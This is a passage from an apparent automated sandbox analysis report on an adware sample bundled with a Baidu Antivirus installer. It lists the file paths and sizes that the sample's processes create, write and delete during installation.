%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\HipsTips.xml (277 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhr.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\current_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessRightmenuScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\language.ini (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAdvTools.dll (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHFramework.dll (1832 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1258.moviestoolbar.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_safe.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav_NoDisturb.fcg (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1197.Desk365.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\dottedLine.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1224.Monetomi.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1202.hqvideo.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apdext.dat (939 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Investigate.exe (7386 bytes)
%Documents and Settings%\All Users\Application Data\Baidu Security\Duplicaterecord.js (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\scrollbar\scroll.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_redhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\menu\menu_icon_feedbackhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\listBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\plmr.dat (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUl.dll (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\engineClickPop.png (860 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1076.SavingsAddon.rul (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\calender.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\icon_tip_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_feedbackhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1251.freeonlineradioplayerrecorderdm.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\tips_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1250.bsplayerb2.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin.xml (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\oaIcon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\pop_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\mm.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\wattingStatus.png (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_red.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\noteIco.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin.xml (61 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg170.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\BavToolsDefInfo.xml (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\dLine.png (665 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnSkin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_createschtask.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\icon2G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.down.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1083.PriceGong.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\tips_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\language.ini (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\usbIcon.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa12.tmp (859621 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_hot_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Tuvaro.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout1_bg.png (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\GuideSlice_6.png (98 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavPluginRemove\skin.xml (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_gray_cover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\vn.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_tab_over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_note.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\top_bg.png (622 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rrg.dat (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1259.rockturner.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\avira_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.dll (136 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\fs.dat (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_blue_line.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\statusIcon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_scanhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apden.dat (1641 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\onBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logo.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1104.SavepathDeals.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (38 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\cloud_engine_ico_gray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1111.Vuze.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\combobox\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_usb_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnMore.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin.xml (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_blue_noline.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_bombtn_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1122.Mysearchdial.rul (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\GuideSlice_6.png (94 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1121.KeyBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1195.WProtectManager.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Uninstall.exe (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_tray_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\icon.png (2 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_push.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnH.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Common.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\closeBtn.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownH.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\waitingGif.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldN.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1036.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\iconDown.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_hover.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install.ico (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1028.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\progress_bg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bgExpart.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\foldDisable.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\bugreportconfig.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\10.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1033.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1054.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\checkbox.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\popBg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin3082.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\bav (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin2052.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_31.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf_Total.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_16.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bglangchoose.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logoTitle.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dark.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpH.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\nsSkinEngineW.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_dl_animate.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnD.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customDown.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DrvInst.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\pbBg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\light.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\orgconfig.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1031.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportModuleConf.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportConfig.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1057.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownN.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark64.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashUL.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bg.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\customUp.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\bav.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1046.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpN.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\logo.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\noteIco.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstTool.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installFinishLogo.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install2Slice_27.png (0 bytes)
%System%\drivers\bdark.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\log.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\minBtn.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DarkDumpReport.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installSlice_27.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_normal.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DirectUI.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnN.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashReport.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\blueBtn.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\uninstall.ico (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus_all.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstallUtility.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installLogoTitle.png (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\tipBox.png (0 bytes)

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe:1884 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\awhB.tmp (172 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\awhC.tmp (132657 bytes)

The process BavCheckOpponent.exe:876 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)

The process BavUpdater.exe:3072 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5N.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\srslConfig.ini.7z (465 bytes)
